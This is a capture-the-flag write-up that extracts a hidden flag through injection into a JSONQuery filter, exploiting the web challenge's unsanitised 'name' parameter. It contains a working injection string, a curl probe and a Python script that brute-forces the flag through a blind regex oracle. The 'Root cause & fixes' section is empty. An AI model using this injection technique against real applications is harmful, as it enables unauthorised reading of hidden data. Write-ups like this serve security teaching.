FortID CTF — “Jey is not not my son”

JSONQuery injection to exfiltrate a hidden flag from a row where Name == "flag".

TL;DR

The web app interpolates the user’s name straight into a JSONQuery DSL filter. We inject our own predicate, bypass the trailing year check, and turn the result count into a yes/no oracle with regex(.Year, "^…"). Because digits are forbidden in name, we use dot placeholders (.) for unknown characters, discover the whole mask first, then fill in digits by leetspeak. Final flag:

FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}

Vulnerable snippet

query = f"""
  .collection
    | filter(.Name == "{name}" and .Year == "{year}")
    | pick(.Count) | map(values()) | flatten() | map(number(get())) | sum()
"""
output = jsonquery(data, query)

Stable injection shape

We close the string after .Name == ", insert our predicate, then re-open safely so the template’s tail still parses:

name = x" or (<OUR_PREDICATE>) or (""=="x") and "

Oracle via regex() on the hidden row

There is a single secret row with Name == "flag", and the “hint” implies the flag lives in its Year field. We use count == 1 as “true”:

.Name == "flag" and regex(.Year, "^<PREFIX>")

Digits workaround: use dot placeholders

Important correction: since digits are not allowed in name, we do not put \d in the regex. We use the regex dot . as a placeholder at unknown positions. That lets us advance the prefix even when the next character is a digit.

Working cURL probe

Base check (should return “appeared 1 time(s)”):

curl -skG 'https://fortid-jey-is-not-my-son.chals.io/' \
  --data-urlencode 'year=2000' \
  --data-urlencode 'name=x" or (.Name == "flag" and regex(.Year, "^FortID{")) or (""=="x") and "'

Minimal Python helper (with dot placeholders)

import html, re, requests
from bs4 import BeautifulSoup

URL   = "https://fortid-jey-is-not-my-son.chals.io/"
YEAR  = "2000"  # any valid year
ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_."

def appeared_count(html_text: str) -> int:
    m = re.search(r"appeared\s+([0-9]+)\s+time", html.unescape(html_text), re.I)
    return int(m.group(1)) if m else -1

def probe(mask: str) -> int:
    inj = f'x" or (.Name == "flag" and regex(.Year, "^{mask}")) or (""=="x") and "'
    r = requests.get(URL, params={"year": YEAR, "name": inj}, timeout=10, verify=False)
    return appeared_count(r.text)

def brute():
    requests.packages.urllib3.disable_warnings()
    assert probe("FortID{") == 1, "Seed '^FortID{' must confirm (1)."

    known = "FortID{"
    while not known.endswith("}"):
        # try concrete letters / underscore first
        progressed = False
        for ch in ALPHA:
            if ch == '.':  # leave '.' for the fallback phase
                continue
            cand = known + re.escape(ch)
            if probe(cand) == 1:
                known = known + ch
                print("[ok] ", known)
                progressed = True
                break
        if progressed:
            continue

        # fallback: put '.' placeholder to skip unknown (likely a digit)
        cand = known + '.'
        if probe(cand) == 1:
            known = known + '.'
            print("[dot]", known)
            continue

        raise SystemExit("Stuck: extend ALPHA or re-check parser stability.")
    return known

mask = brute()
print("Mask:", mask)
# Leetspeak fill:
flag = "FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}"
print("Flag:", flag)

Result

FortID{B3_th3_0n3_wh0_1s_n0t_b1ind_1n_th3_n3w_3r4}

Root cause & fixes

© Write-up for the FortID “Jey is not not my son” challenge.